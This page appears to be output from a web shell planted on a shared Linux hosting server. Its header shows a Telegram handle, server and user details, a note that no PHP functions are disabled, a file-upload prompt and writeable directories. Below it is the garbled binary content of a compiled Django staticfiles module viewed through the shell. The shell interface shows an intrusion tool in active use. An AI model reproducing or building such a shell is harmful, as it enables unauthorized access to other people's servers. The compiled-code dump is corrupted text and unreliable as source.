https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/staticfiles/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/staticfiles/__pycache__/storage.cpython-310.pyc
o

3�a�D�@s�ddlZddlZddlZddlZddlZddlmZmZmZm	Z	ddl
mZddlm
Z
mZddlmZddlmZddlmZmZddlmZGd	d
�d
e�ZGdd�d�ZGd
d�de�ZGdd�dee�ZGdd�de�Ze�ZdS)�N)�unquote�	urldefrag�urlsplit�
urlunsplit)�settings)�check_settings�matches_patterns)�ImproperlyConfigured)�ContentFile)�FileSystemStorage�get_storage_class)�
LazyObjectcs.eZdZdZd�fdd�	Z�fdd�Z�ZS)�StaticFilesStoragez�
    Standard file system storage for static files.

    The defaults for ``location`` and ``base_url`` are
    ``STATIC_ROOT`` and ``STATIC_URL``.
    NcsX|durtj}|durtj}t|�t�j||g|�Ri|��|s*d|_d|_dSdS�N)r�STATIC_ROOT�
STATIC_URLr�super�__init__�
base_location�location)�selfr�base_url�args�kwargs��	__class__��D/usr/lib/python3/dist-packages/django/contrib/staticfiles/storage.pyrs
�zStaticFilesStorage.__init__cs|jstd��t��|�S)NzaYou're using the staticfiles app without having set the STATIC_ROOT setting to a filesystem path.)rr	r�path�r�namerrrr$szStaticFilesStorage.path�NN)�__name__�
__module__�__qualname__�__doc__rr�
__classcell__rrrrrs
rcs�eZdZdZdZdZdZ�fdd�Zddd	�Zd d
d�Z	d!�fd
d�	Z
d"dd�Zddd�Zd"dd�Z
dd�Zdd�Zdd�Zdd�Zdd�Z�ZS)#�HashedFilesMixinz	url("%s")�))z*.css)z#(url\(['"]{0,1}\s*(.*?)["']{0,1}\)))z(@import\s*["']\s*(.*?)["'])z@import url("%s")Tcs�t�j|i|��i|_i|_|jD]+\}}|D]$}t|ttf�r&|\}}n|j}t	�
|t	j�}|j�|g��
||f�qqdSr)rr�	_patterns�hashed_files�patterns�
isinstance�tuple�list�default_template�re�compile�
IGNORECASE�
setdefault�append)rrr�	extensionr+�pattern�template�compiledrrrr7s
��zHashedFilesMixin.__init__NcCs<|durdSt��}|��D]}|�|�q|��dd�S)zU
        Return a hash of the file with the given name and optional content.
        N�)�hashlib�md5�chunks�update�	hexdigest)rr �contentr;�chunkrrr�	file_hashDszHashedFilesMixin.file_hashc
Cs*tt|��}|j��}|rtt|��j��p|}|du}|r>|�|�s+td||f��z|�|�}Wnty=|YSwz|�||�}W|rL|�	�n|rT|�	�wwt
j�|�\}}t
j�|�\}	}
|rkd|nd}t
j�
|d|	||
f�}t|�}||d<d|vr�|ds�|dd7<t|�S)	Nz)The file '%s' could not be found with %r.z.%s�z%s%s%s��?#��?)rrr�strip�exists�
ValueError�open�OSErrorrA�close�os�split�splitext�joinr.r)
rr r?�filename�parsed_name�
clean_name�openedrAr�root�ext�hashed_name�
unparsed_namerrrrWOs>

���
�
�zHashedFilesMixin.hashed_nameFcs�tjr|s|d}}n!t|�\}}t|�j�d�r|}n|f}|dur(||f7}||�}t��|�}	d|v}
|s:|
r\tt|	��}|rJ|dsJ||d<|
rX|dsX|dd7<t	|�}	t
|	�S)	�:
        Return the non-hashed URL in DEBUG mode.
        rB�/NrD�rErCrF)r�DEBUGrrr�endswithr�urlr.rr)r�hashed_name_funcr �forcer*rW�fragmentrSr�	final_url�query_fragment�urlpartsrrr�_urlps&

zHashedFilesMixin._urlcCs|�|j||�S)rY)re�stored_name)rr r`rrrr^�szHashedFilesMixin.urlcs$�dur�j�����fdd�}|S)zJ
        Return the custom URL converter for the given file name.
        Nc	s|��\}}t�d|�r|S|�d�r|�tj�s|St|�\}}|�d�r8|�tj�s.J�|ttj�d�}ntj	dkr?�n��
tj	d�}t�t�
|�|�}�j�jt|�d�d�}d�|�d�dd�|�d�dd��}|r~|d|vrydnd|7}�t|�S)	z�
            Convert the matched URL to a normalized and hashed URL.

            This requires figuring out which files the matched URL resolves
            to and calling the url() method of the storage.
            z^[a-z]+:rZNT)r`r*���rD�#)�groupsr0�match�
startswithrrr�lenrM�sep�replace�	posixpathrP�dirnamere�_stored_namerrN)	�matchobj�matchedr^�url_pathra�target_name�source_name�
hashed_url�transformed_url�r*r rr7rr�	converter�s&

�*z1HashedFilesMixin.url_converter.<locals>.converter)r/)rr r*r7rzrryr�
url_converter�s-zHashedFilesMixin.url_converterc
+s��|rdSi}�fdd��D�}���||�D]\}}}}	|||fVq�fdd�|D��t�j�D] }
d}���||�D]\}}}}|||fV|pL|}q=|sRnq2|r]ddtd�fV�j�|�dS)	a
        Post process the given dictionary of files (called from collectstatic).

        Processing is actually two separate operations:

        1. renaming files to include a hash of their content for cache-busting,
           and copying those files to the target storage.
        2. adjusting files which contain references to other files so they
           refer to the cache-busting filenames.

        If either of these are performed on a file, then that file is considered
        post-processed.
        Ncsg|]
}t|�j�r|�qSr)rr)��.0r�rrr�
<listcomp>�s
��z1HashedFilesMixin.post_process.<locals>.<listcomp>csi|]}|�|�qSrrr|)�pathsrr�
<dictcomp>�sz1HashedFilesMixin.post_process.<locals>.<dictcomp>F�Allz!Max post-process passes exceeded.)�
_post_process�range�max_post_process_passes�RuntimeErrorr*r=)
rr��dry_run�optionsr*�adjustable_pathsr rW�	processed�_�i�
substitutions�substr)r�rr�post_process�s*�
�
�zHashedFilesMixin.post_processccs��dd�}t||dd�D]�}d}||\}}|�|���}	|�|�}
|�|
�}||vr1|�||	�}n||}t|	d�r?|	�d�|�|�}
d}||vr�|}|	���	d�}|j
��D]9\}}t||f�r�|D],\}}|�
|||�}z|�||�}Wqdty�}z
|d|dfVWYd}~qdd}~wwqX|
r�|�|�t|���}|jr�|�||�|�||�}|�|�r�|�|�|�||�}|�|�}||kr�d}d}|s�|
s�d}|�||	�}|�|�}|||<||||fVWd�n1s�wYqdS)	NcSst|�tj��Sr)rlrNrMrm)r rrr�
path_level�sz2HashedFilesMixin._post_process.<locals>.path_levelT)�key�reverse�seekrFzutf-8)�sortedrJrS�hash_keyrW�hasattrr�rH�read�decoder)�itemsrr{�subrI�deleter
�encode�keep_intermediate_files�_save)rr�r�r*r�r r��storager�
original_file�cleaned_namer�rW�hashed_file_existsr��old_hashed_namer?r5r+r6r7rz�exc�content_file�
saved_namerrrr��sh�




���




���zHashedFilesMixin._post_processcCs|�dd�S)N�\rZ)rnrrrrrSCszHashedFilesMixin.clean_namecCs|Srrrrrrr�FszHashedFilesMixin.hash_keycCsDt�|�}|�|�}|�|�}|�|�}|dur |�|�|��}|Sr)ro�normpathrSr��getrW)rr r*r�r��
cache_namerrrrqIs



zHashedFilesMixin._stored_namecCs�|�|�}|�|�}|j�|�}|r|S|}t|jd�D]}|�|j|d|d��}||kr7||j|<|S|}qtd||f��)N�)r?rQz*The name '%s' could not be hashed with %r.)rSr�r*r�r�r�rWrI)rr r�r�r��intermediate_namer�rrrrfUs

�
zHashedFilesMixin.stored_namerr!)FN)F)r"r#r$r/r�r+r�rrArWrer^r{r�r�rSr�rqrfr&rrrrr',s"

!


60Hr'csXeZdZdZdZdZdZ�fdd�Zdd�Zd	d
�Z	�fdd�Z
d
d�Zdd�Z�Z
S)�ManifestFilesMixin�1.0zstaticfiles.jsonTFcs t�j|i|��|��|_dSr)rr�
load_manifestr*�rrrrrrrsszManifestFilesMixin.__init__cCsVz |�|j��}|����Wd�WS1swYWdSty*YdSwr)rJ�
manifest_namer�r��FileNotFoundError)r�manifestrrr�
read_manifestws
(��z ManifestFilesMixin.read_manifestcCsj|��}|dur
iSzt�|�}Wn
tjyYnw|�d�}|dkr+|�di�Std|j|jf��)N�versionr�r�z(Couldn't load manifest '%s' (version %s))r��json�loads�JSONDecodeErrorr�rIr��manifest_version)rr?�storedr�rrrr�~s�

�z ManifestFilesMixin.load_manifestc/s:�i|_t�j|i|��EdH|�d�s|��dSdS)Nr�)r*rr�r��
save_manifestr�rrrr��s�
�zManifestFilesMixin.post_processcCsJ|j|jd�}|�|j�r|�|j�t�|���}|�|jt	|��dS)N)r�r�)
r*r�rHr�r�r��dumpsr�r�r
)r�payload�contentsrrrr��s
z ManifestFilesMixin.save_manifestcCs�tt|��}|j��}|�|�}|j�|�}|dur+|jr#td|��|�	|�
|��}t|�}||d<d|vrC|dsC|dd7<t|�S)Nz+Missing staticfiles manifest entry for '%s'rCrDrErF)
rrrrGr�r*r��manifest_strictrIrSrWr.r)rr rRrSr�r�rXrrrrf�s

zManifestFilesMixin.stored_name)r"r#r$r�r�r�r�rr�r�r�r�rfr&rrrrr�msr�c@seZdZdZdS)�ManifestStaticFilesStoragezh
    A static file system storage backend which also saves
    hashed copies of the files it saves.
    N)r"r#r$r%rrrrr��sr�c@seZdZdd�ZdS)�ConfiguredStoragecCsttj��|_dSr)rr�STATICFILES_STORAGE�_wrappedr~rrr�_setup�szConfiguredStorage._setupN)r"r#r$r�rrrrr��sr�)r:r�rMror0�urllib.parserrrr�django.confr� django.contrib.staticfiles.utilsrr�django.core.exceptionsr	�django.core.files.baser
�django.core.files.storagerr�django.utils.functionalr
rr'r�r�r��staticfiles_storagerrrr�<module>s(C?


https://t.me/RX1948 - 2025